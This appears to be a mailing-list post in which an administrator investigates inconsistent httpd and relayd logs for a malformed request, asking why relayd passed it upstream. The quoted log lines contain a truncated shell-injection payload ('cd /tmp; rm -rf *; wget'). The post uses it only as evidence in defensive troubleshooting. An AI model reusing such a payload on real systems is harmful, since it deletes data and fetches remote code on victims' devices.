I've a bog standard web server setup with httpd behind relayd as a reverse
proxy doing basic filtering.
I was studying some anomalous httpd logs and noticed some entries which were
missing both the User-Agent and X-Forwarded-For fields, the latter of which
is added by relayd as a header when proxying the request:
default 127.0.0.1 - - [01/Aug/2025:16:19:20 -0000] "GET
/shell%3Fcd+/tmp;rm+-rf+*;wget+" 400 0 "" "" - -
default 127.0.0.1 - - [01/Aug/2025:16:19:22 -0000] "GET
/shell%3Fcd+/tmp;rm+-rf+*;wget+" 400 0 "" "" - -
User-Agent
--------------------------------------^
X-Forwarded-For
-----------------------------------------^
However, when I look at the relayd logs, there is more to the story:
Aug 1 16:19:20 vmweb012 relayd[68070]: relay www, session 101 (1 active), 0,
XX.XX.XX.XX -> 127.0.0.1:80, done, [Host: 127.0.0.1:80] [User-Agent: Hello,
world] [127.0.0.1:80/shell: cd+/tmp;rm+-rf+*;wget+] GET;
Aug 1 16:19:22 vmweb012 relayd[99173]: relay www, session 106 (1 active), 0,
XX.XX.XX.XX -> 127.0.0.1:80, done, [Host: 127.0.0.1:80] [User-Agent: Hello,
world] [127.0.0.1:80/shell: cd+/tmp;rm+-rf+*;wget+] GET;
Both the User-Agent and remote IP address are not recorded in the httpd log. I
think this is because the request is malformed in some way, and httpd aborts and
returns HTTP 400 before it gets to the part where it can read the headers. I can
partially reproduce this by sending a request with unescaped spaces in the URL.
However, it's not quite the same result as the shell script injection above and
I don't have a packet capture of the event (yet).
This raises the question - if the request was malformed enough to cause httpd to
abort and return 400, why did relayd not return 400 but instead happily
forwarded the malformed request upstream? I did peruse relay_http.c a bit but
could not positively identify why this bad traffic was leaking through.
I did Google the request string and there is some more data beyond "wget" in the
exploit (including a URL and more shell commands) which was truncated from the
relayd log as well. Obviously this is targeting some other type of device but
something is not right here because there should be consistency between httpd
and relayd.
Probably not a bad idea to run this through a fuzzer.
Regards
Lloyd
